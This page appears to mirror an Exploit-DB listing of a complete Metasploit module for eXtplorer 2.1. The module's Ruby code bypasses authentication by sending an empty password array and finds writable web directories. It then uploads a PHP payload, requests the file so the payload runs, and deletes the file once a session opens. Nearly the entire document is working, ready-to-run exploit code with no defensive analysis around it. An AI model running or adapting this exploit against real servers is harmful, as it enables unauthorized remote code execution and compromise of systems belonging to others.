eXtplorer 2.1 – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24018/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
    			'Description'=> %q{
    				This module exploits an authentication bypass vulnerability in eXtplorer
    				versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
    				This application has an upload feature that allows an authenticated user
    				with administrator roles to upload arbitrary files to any writable
    				directory in the web root. This module uses an authentication bypass
    				vulnerability to upload and execute a file.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
    				],
    			'References' =>
    				[
    					[ 'OSVDB', '88751' ],
    					[ 'BID', '57058' ],
    					[ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ],
    					[ 'URL', 'http://extplorer.net/issues/105' ]
    				],
    			'Payload'=>
    				{
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=>
    				[
    					['Automatic Targeting', { 'auto' => true }]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Dec 31 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
    				OptString.new('USERNAME',[true, 'The username for eXtplorer', 'admin'])
    			], self.class)
    	end
    
    	def check
    
    		base= target_uri.path
    		base << '/' if base[-1, 1] != '/'
    		peer= "#{rhost}:#{rport}"
    
    		# retrieve software version from ./extplorer.xml
    		begin
    			res = send_request_cgi({
    				'method' => 'GET',
    				'uri'=> "#{base}extplorer.xml"
    			})
    
    			if !res or res.code != 200
    				return Exploit::CheckCode::Safe
    			end
    
    			if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/
    				return Exploit::CheckCode::Vulnerable
    			end
    
    			if res.body =~ /eXtplorer/
    				return Exploit::CheckCode::Safe
    			end
    
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			print_error("#{peer} - Connection failed")
    		end
    		return Exploit::CheckCode::Unknown
    
    	end
    
    	def on_new_session(client)
    		if client.type == "meterpreter"
    			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
    			client.fs.file.rm("#{@fname}")
    		else
    			client.shell_command_token("rm #{@fname}")
    		end
    	end
    
    	def upload(base, dir, fname, file)
    
    		data = Rex::MIME::Message.new
    		data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"")
    		data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"")
    		data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"")
    		data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"")
    		data.add_part("upload", nil, nil, "form-data; name=\"action\"")
    		data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"")
    		data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
    
    		data_post = data.to_s
    		data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{base}index.php",
    			'ctype' => "multipart/form-data; boundary=#{data.bound}",
    			'data'=> data_post,
    			'cookie'=> datastore['COOKIE'],
    		})
    
    		return res
    	end
    
    	def auth_bypass(base, user)
    
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{base}index.php",
    			'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
    			'cookie' => datastore['COOKIE'],
    		})
    		return res
    
    	end
    
    	def exploit
    
    		base= target_uri.path
    		base << '/' if base[-1, 1] != '/'
    		@peer = "#{rhost}:#{rport}"
    		@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
    		user= datastore['USERNAME']
    		datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"
    
    		# bypass auth
    		print_status("#{@peer} - Authenticating as user (#{user})")
    		res = auth_bypass(base, user)
    		if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
    			print_status("#{@peer} - Authenticated successfully")
    		else
    			fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
    		end
    
    		# search for writable directories
    		print_status("#{@peer} - Retrieving writable subdirectories")
    		begin
    			res = send_request_cgi({
    				'method'=> 'POST',
    				'uri' => "#{base}index.php",
    				'cookie'=> datastore['COOKIE'],
    				'data'=> "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
    			})
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    		end
    		if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
    			dir = "#{base}#{$1}"
    			print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
    		else
    			dir = "#{base}"
    			print_error("#{@peer} - Could not find a writable subdirectory.")
    		end
    
    		# upload PHP payload
    		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
    		php = %Q|<?php #{payload.encoded} ?>|
    		begin
    			res = upload(base, dir, @fname, php)
    			if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
    				print_good("#{@peer} - File uploaded successfully")
    			else
    				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
    			end
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    		end
    
    		# search directories in the web root for the file
    		print_status("#{@peer} - Searching directories for file (#{@fname})")
    		begin
    			res = send_request_cgi({
    				'method' => 'POST',
    				'uri'=> "#{base}index.php",
    				'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
    				'cookie' => datastore['COOKIE'],
    			})
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    		end
    		if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
    			dir = $1.gsub('\\','')
    			print_good("#{@peer} - Successfully found file")
    		else
    			print_error("#{@peer} - Failed to find file")
    		end
    
    		# retrieve and execute PHP payload
    		print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
    		begin
    			send_request_cgi({
    				'method' => 'GET',
    				'uri'=> "/#{dir}/#{@fname}"
    			})
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    		end
    		if res and res.code != 200
    			print_error("#{@peer} - Executing payload failed")
    		end
    	end
    end